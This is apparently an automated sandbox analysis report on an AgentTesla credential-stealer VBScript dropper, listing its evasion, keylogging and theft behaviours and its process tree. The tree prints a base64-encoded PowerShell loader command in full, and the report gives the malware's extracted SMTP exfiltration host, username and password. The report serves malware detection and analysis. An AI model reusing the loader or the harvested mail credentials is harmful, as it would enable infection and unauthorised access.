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Windows
Analysis Report
DOCUMENTS.vbs
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious encrypted Powershell command line found
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected AntiVM3
.NET source code contains potential unpacker
AI detected suspicious sample
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Creates processes via WMI
Injects a PE file into a foreign processes
Installs a global keyboard hook
Powershell is started from unusual location (likely to bypass HIPS)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: PowerShell Script Run in AppData
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7636 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\DOCUM ENTS.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - DOCUMENTS.vbs.exe (PID: 7804 cmdline:
"C:\Users\ user\Deskt op\DOCUMEN TS.vbs.exe " -enc JAB OAHAAZQBnA HcAYgBpAGQ AaABzAGIAI AA9ACAAWwB TAHkAcwB0A GUAbQAuAEQ AaQBhAGcAb gBvAHMAdAB pAGMAcwAuA FAAcgBvAGM AZQBzAHMAX QA6ADoARwB lAHQAQwB1A HIAcgBlAG4 AdABQAHIAb wBjAGUAcwB zACgAKQAuA E0AYQBpAG4 ATQBvAGQAd QBsAGUALgB GAGkAbABlA E4AYQBtAGU ALgBSAGUAc ABsAGEAYwB lACgAJwAuA GUAeABlACc ALAAnACcAK QA7ACQAVAB 5AHUAbQBpA HIAbQB1AGU AeABwACAAP QAgAGcAZQB 0AC0AYwBvA G4AdABlAG4 AdAAgACQAT gBwAGUAZwB 3AGIAaQBkA GgAcwBiACA AfAAgAFMAZ QBsAGUAYwB 0AC0ATwBiA GoAZQBjAHQ AIAAtAEwAY QBzAHQAIAA xADsAIAAkA EkAYQB3AHc AcQBmAHcAb wBiAGcAbQA gAD0AIABbA FMAeQBzAHQ AZQBtAC4AQ wBvAG4AdgB lAHIAdABdA DoAOgBGAHI AbwBtAEIAY QBzAGUANgA 0AFMAdAByA GkAbgBnACg AJABUAHkAd QBtAGkAcgB tAHUAZQB4A HAALgBSAGU AcABsAGEAY wBlACgAJwB SAEUATQAgA CcALAAgACc AJwApAC4AU gBlAHAAbAB hAGMAZQAoA CcAQAAnACw AIAAnAEEAJ wApACkAOwA kAE4AaAB5A G4AawB0AGo AcQBiAHgAe gAgAD0AIAB OAGUAdwAtA E8AYgBqAGU AYwB0ACAAU wB5AHMAdAB lAG0ALgBJA E8ALgBNAGU AbQBvAHIAe QBTAHQAcgB lAGEAbQAoA CAALAAgACQ ASQBhAHcAd wBxAGYAdwB vAGIAZwBtA CAAKQA7ACQ ATwBzAHYAZ gB6AGUAcwB 5ACAAPQAgA E4AZQB3AC0 ATwBiAGoAZ QBjAHQAIAB TAHkAcwB0A GUAbQAuAEk ATwAuAE0AZ QBtAG8AcgB 5AFMAdAByA GUAYQBtADs AJABDAHAAY gB5AG4AcAB uAHYAawB6A CAAPQAgAE4 AZQB3AC0AT wBiAGoAZQB jAHQAIABTA HkAcwB0AGU AbQAuAEkAT wAuAEMAbwB tAHAAcgBlA HMAcwBpAG8 AbgAuAEcAe gBpAHAAUwB 0AHIAZQBhA G0AIAAkAE4 AaAB5AG4Aa wB0AGoAcQB iAHgAegAsA CAAKABbAEk ATwAuAEMAb wBtAHAAcgB lAHMAcwBpA G8AbgAuAEM AbwBtAHAAc gBlAHMAcwB pAG8AbgBNA G8AZABlAF0 AOgA6AEQAZ QBjAG8AbQB wAHIAZQBzA HMAKQA7ACQ AQwBwAGIAe QBuAHAAbgB 2AGsAegAuA EMAbwBwAHk AVABvACgAI AAkAE8AcwB 2AGYAegBlA HMAeQAgACk AOwAkAEMAc ABiAHkAbgB wAG4AdgBrA HoALgBDAGw AbwBzAGUAK AApADsAJAB OAGgAeQBuA GsAdABqAHE AYgB4AHoAL gBDAGwAbwB zAGUAKAApA DsAWwBiAHk AdABlAFsAX QBdACAAJAB JAGEAdwB3A HEAZgB3AG8 AYgBnAG0AI AA9ACAAJAB PAHMAdgBmA HoAZQBzAHk ALgBUAG8AQ QByAHIAYQB 5ACgAKQA7A FsAQQByAHI AYQB5AF0AO gA6AFIAZQB 2AGUAcgBzA GUAKAAkAEk AYQB3AHcAc QBmAHcAbwB iAGcAbQApA DsAIAAkAFQ AcQBvAGgAb wBqAHQAIAA 9ACAAWwBTA HkAcwB0AGU AbQAuAFQAa AByAGUAYQB kAGkAbgBnA C4AVABoAHI AZQBhAGQAX QA6ADoARwB lAHQARABvA G0AYQBpAG4 AKAApAC4AT ABvAGEAZAA oACQASQBhA HcAdwBxAGY AdwBvAGIAZ wBtACkAOwA gACQARABjA GIAagB3ACA APQAgACQAV ABxAG8AaAB vAGoAdAAuA EUAbgB0AHI AeQBQAG8Aa QBuAHQAOwA gAFsAUwB5A HMAdABlAG0 ALgBEAGUAb ABlAGcAYQB 0AGUAXQA6A DoAQwByAGU AYQB0AGUAR ABlAGwAZQB nAGEAdABlA CgAWwBBAGM AdABpAG8Ab gBdACwAIAA kAEQAYwBiA GoAdwAuAEQ AZQBjAGwAY QByAGkAbgB nAFQAeQBwA GUALAAgACQ ARABjAGIAa gB3AC4ATgB hAG0AZQApA C4ARAB5AG4 AYQBtAGkAY wBJAG4AdgB vAGsAZQAoA CkAIAB8ACA ATwB1AHQAL QBOAHUAbAB sAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7812 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - InstallUtil.exe (PID: 8116 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Ins tallUtil.e xe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
- cmd.exe (PID: 7712 cmdline:
cmd /c cop y "C:\Wind ows\SysWOW 64\Windows PowerShell \v1.0\powe rshell.exe " "C:\User s\user\Des ktop\DOCUM ENTS.vbs.e xe" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7720 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- wscript.exe (PID: 6764 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\Nwjbu ywyew.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - Nwjbuywyew.vbs.exe (PID: 5628 cmdline:
"C:\Users\ user\AppDa ta\Roaming \Nwjbuywye w.vbs.exe" -enc JABO AHAAZQBnAH cAYgBpAGQA aABzAGIAIA A9ACAAWwBT AHkAcwB0AG UAbQAuAEQA aQBhAGcAbg BvAHMAdABp AGMAcwAuAF AAcgBvAGMA ZQBzAHMAXQ A6ADoARwBl AHQAQwB1AH IAcgBlAG4A dABQAHIAbw BjAGUAcwBz ACgAKQAuAE 0AYQBpAG4A TQBvAGQAdQ BsAGUALgBG AGkAbABlAE 4AYQBtAGUA LgBSAGUAcA BsAGEAYwBl ACgAJwAuAG UAeABlACcA LAAnACcAKQ A7ACQAVAB5 AHUAbQBpAH IAbQB1AGUA eABwACAAPQ AgAGcAZQB0 AC0AYwBvAG 4AdABlAG4A dAAgACQATg BwAGUAZwB3 AGIAaQBkAG gAcwBiACAA fAAgAFMAZQ BsAGUAYwB0 AC0ATwBiAG oAZQBjAHQA IAAtAEwAYQ BzAHQAIAAx ADsAIAAkAE kAYQB3AHcA cQBmAHcAbw BiAGcAbQAg AD0AIABbAF MAeQBzAHQA ZQBtAC4AQw BvAG4AdgBl AHIAdABdAD oAOgBGAHIA bwBtAEIAYQ BzAGUANgA0 AFMAdAByAG kAbgBnACgA JABUAHkAdQ BtAGkAcgBt AHUAZQB4AH AALgBSAGUA cABsAGEAYw BlACgAJwBS AEUATQAgAC cALAAgACcA JwApAC4AUg BlAHAAbABh AGMAZQAoAC cAQAAnACwA IAAnAEEAJw ApACkAOwAk AE4AaAB5AG 4AawB0AGoA cQBiAHgAeg AgAD0AIABO AGUAdwAtAE 8AYgBqAGUA YwB0ACAAUw B5AHMAdABl AG0ALgBJAE 8ALgBNAGUA bQBvAHIAeQ BTAHQAcgBl AGEAbQAoAC AALAAgACQA SQBhAHcAdw BxAGYAdwBv AGIAZwBtAC AAKQA7ACQA TwBzAHYAZg B6AGUAcwB5 ACAAPQAgAE 4AZQB3AC0A TwBiAGoAZQ BjAHQAIABT AHkAcwB0AG UAbQAuAEkA TwAuAE0AZQ BtAG8AcgB5 AFMAdAByAG UAYQBtADsA JABDAHAAYg B5AG4AcABu AHYAawB6AC AAPQAgAE4A ZQB3AC0ATw BiAGoAZQBj AHQAIABTAH kAcwB0AGUA bQAuAEkATw AuAEMAbwBt AHAAcgBlAH MAcwBpAG8A bgAuAEcAeg BpAHAAUwB0 AHIAZQBhAG 0AIAAkAE4A aAB5AG4Aaw B0AGoAcQBi AHgAegAsAC AAKABbAEkA TwAuAEMAbw BtAHAAcgBl AHMAcwBpAG 8AbgAuAEMA bwBtAHAAcg BlAHMAcwBp AG8AbgBNAG 8AZABlAF0A OgA6AEQAZQ BjAG8AbQBw AHIAZQBzAH MAKQA7ACQA QwBwAGIAeQ BuAHAAbgB2 AGsAegAuAE MAbwBwAHkA VABvACgAIA AkAE8AcwB2 AGYAegBlAH MAeQAgACkA OwAkAEMAcA BiAHkAbgBw AG4AdgBrAH oALgBDAGwA bwBzAGUAKA ApADsAJABO AGgAeQBuAG sAdABqAHEA YgB4AHoALg BDAGwAbwBz AGUAKAApAD sAWwBiAHkA dABlAFsAXQ BdACAAJABJ AGEAdwB3AH EAZgB3AG8A YgBnAG0AIA A9ACAAJABP AHMAdgBmAH oAZQBzAHkA LgBUAG8AQQ ByAHIAYQB5 ACgAKQA7AF sAQQByAHIA YQB5AF0AOg A6AFIAZQB2 AGUAcgBzAG UAKAAkAEkA YQB3AHcAcQ BmAHcAbwBi AGcAbQApAD sAIAAkAFQA cQBvAGgAbw BqAHQAIAA9 ACAAWwBTAH kAcwB0AGUA bQAuAFQAaA ByAGUAYQBk AGkAbgBnAC 4AVABoAHIA ZQBhAGQAXQ A6ADoARwBl AHQARABvAG 0AYQBpAG4A KAApAC4ATA BvAGEAZAAo ACQASQBhAH cAdwBxAGYA dwBvAGIAZw BtACkAOwAg ACQARABjAG IAagB3ACAA PQAgACQAVA BxAG8AaABv AGoAdAAuAE UAbgB0AHIA eQBQAG8AaQ BuAHQAOwAg AFsAUwB5AH MAdABlAG0A LgBEAGUAbA BlAGcAYQB0 AGUAXQA6AD oAQwByAGUA YQB0AGUARA BlAGwAZQBn AGEAdABlAC gAWwBBAGMA dABpAG8Abg BdACwAIAAk AEQAYwBiAG oAdwAuAEQA ZQBjAGwAYQ ByAGkAbgBn AFQAeQBwAG UALAAgACQA RABjAGIAag B3AC4ATgBh AG0AZQApAC 4ARAB5AG4A YQBtAGkAYw BJAG4AdgBv AGsAZQAoAC kAIAB8ACAA TwB1AHQALQ BOAHUAbABs AA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 5164 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - InstallUtil.exe (PID: 1568 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Ins tallUtil.e xe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
- cmd.exe (PID: 1344 cmdline:
cmd /c cop y "C:\Wind ows\SysWOW 64\Windows PowerShell \v1.0\powe rshell.exe " "C:\User s\user\App Data\Roami ng\Nwjbuyw yew.vbs.ex e" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5828 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- wscript.exe (PID: 1152 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\Nwjbu ywyew.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 1196 cmdline:
cmd /c cop y "C:\Wind ows\SysWOW 64\Windows PowerShell \v1.0\powe rshell.exe " "C:\User s\user\App Data\Roami ng\Nwjbuyw yew.vbs.ex e" /Y MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 3508 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Nwjbuywyew.vbs.exe (PID: 3276 cmdline:
"C:\Users\ user\AppDa ta\Roaming \Nwjbuywye w.vbs.exe" -enc JABO AHAAZQBnAH cAYgBpAGQA aABzAGIAIA A9ACAAWwBT AHkAcwB0AG UAbQAuAEQA aQBhAGcAbg BvAHMAdABp AGMAcwAuAF AAcgBvAGMA ZQBzAHMAXQ A6ADoARwBl AHQAQwB1AH IAcgBlAG4A dABQAHIAbw BjAGUAcwBz ACgAKQAuAE 0AYQBpAG4A TQBvAGQAdQ BsAGUALgBG AGkAbABlAE 4AYQBtAGUA LgBSAGUAcA BsAGEAYwBl ACgAJwAuAG UAeABlACcA LAAnACcAKQ A7ACQAVAB5 AHUAbQBpAH IAbQB1AGUA eABwACAAPQ AgAGcAZQB0 AC0AYwBvAG 4AdABlAG4A dAAgACQATg BwAGUAZwB3 AGIAaQBkAG gAcwBiACAA fAAgAFMAZQ BsAGUAYwB0 AC0ATwBiAG oAZQBjAHQA IAAtAEwAYQ BzAHQAIAAx ADsAIAAkAE kAYQB3AHcA cQBmAHcAbw BiAGcAbQAg AD0AIABbAF MAeQBzAHQA ZQBtAC4AQw BvAG4AdgBl AHIAdABdAD oAOgBGAHIA bwBtAEIAYQ BzAGUANgA0 AFMAdAByAG kAbgBnACgA JABUAHkAdQ BtAGkAcgBt AHUAZQB4AH AALgBSAGUA cABsAGEAYw BlACgAJwBS AEUATQAgAC cALAAgACcA JwApAC4AUg BlAHAAbABh AGMAZQAoAC cAQAAnACwA IAAnAEEAJw ApACkAOwAk AE4AaAB5AG 4AawB0AGoA cQBiAHgAeg AgAD0AIABO AGUAdwAtAE 8AYgBqAGUA YwB0ACAAUw B5AHMAdABl AG0ALgBJAE 8ALgBNAGUA bQBvAHIAeQ BTAHQAcgBl AGEAbQAoAC AALAAgACQA SQBhAHcAdw BxAGYAdwBv AGIAZwBtAC AAKQA7ACQA TwBzAHYAZg B6AGUAcwB5 ACAAPQAgAE 4AZQB3AC0A TwBiAGoAZQ BjAHQAIABT AHkAcwB0AG UAbQAuAEkA TwAuAE0AZQ BtAG8AcgB5 AFMAdAByAG UAYQBtADsA JABDAHAAYg B5AG4AcABu AHYAawB6AC AAPQAgAE4A ZQB3AC0ATw BiAGoAZQBj AHQAIABTAH kAcwB0AGUA bQAuAEkATw AuAEMAbwBt AHAAcgBlAH MAcwBpAG8A bgAuAEcAeg BpAHAAUwB0 AHIAZQBhAG 0AIAAkAE4A aAB5AG4Aaw B0AGoAcQBi AHgAegAsAC AAKABbAEkA TwAuAEMAbw BtAHAAcgBl AHMAcwBpAG 8AbgAuAEMA bwBtAHAAcg BlAHMAcwBp AG8AbgBNAG 8AZABlAF0A OgA6AEQAZQ BjAG8AbQBw AHIAZQBzAH MAKQA7ACQA QwBwAGIAeQ BuAHAAbgB2 AGsAegAuAE MAbwBwAHkA VABvACgAIA AkAE8AcwB2 AGYAegBlAH MAeQAgACkA OwAkAEMAcA BiAHkAbgBw AG4AdgBrAH oALgBDAGwA bwBzAGUAKA ApADsAJABO AGgAeQBuAG sAdABqAHEA YgB4AHoALg BDAGwAbwBz AGUAKAApAD sAWwBiAHkA dABlAFsAXQ BdACAAJABJ AGEAdwB3AH EAZgB3AG8A YgBnAG0AIA A9ACAAJABP AHMAdgBmAH oAZQBzAHkA LgBUAG8AQQ ByAHIAYQB5 ACgAKQA7AF sAQQByAHIA YQB5AF0AOg A6AFIAZQB2 AGUAcgBzAG UAKAAkAEkA YQB3AHcAcQ BmAHcAbwBi AGcAbQApAD sAIAAkAFQA cQBvAGgAbw BqAHQAIAA9 ACAAWwBTAH kAcwB0AGUA bQAuAFQAaA ByAGUAYQBk AGkAbgBnAC 4AVABoAHIA ZQBhAGQAXQ A6ADoARwBl AHQARABvAG 0AYQBpAG4A KAApAC4ATA BvAGEAZAAo ACQASQBhAH cAdwBxAGYA dwBvAGIAZw BtACkAOwAg ACQARABjAG IAagB3ACAA PQAgACQAVA BxAG8AaABv AGoAdAAuAE UAbgB0AHIA eQBQAG8AaQ BuAHQAOwAg AFsAUwB5AH MAdABlAG0A LgBEAGUAbA BlAGcAYQB0 AGUAXQA6AD oAQwByAGUA YQB0AGUARA BlAGwAZQBn AGEAdABlAC gAWwBBAGMA dABpAG8Abg BdACwAIAAk AEQAYwBiAG oAdwAuAEQA ZQBjAGwAYQ ByAGkAbgBn AFQAeQBwAG UALAAgACQA RABjAGIAag B3AC4ATgBh AG0AZQApAC 4ARAB5AG4A YQBtAGkAYw BJAG4AdgBv AGsAZQAoAC kAIAB8ACAA TwB1AHQALQ BOAHUAbABs AA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 3280 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - InstallUtil.exe (PID: 7752 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Ins tallUtil.e xe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Agent Tesla, AgentTesla | A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel. |
{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.topcats.com", "Username": "simon@topcats.com", "Password": "SpurS21?"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Click to see the 46 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Click to see the 20 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |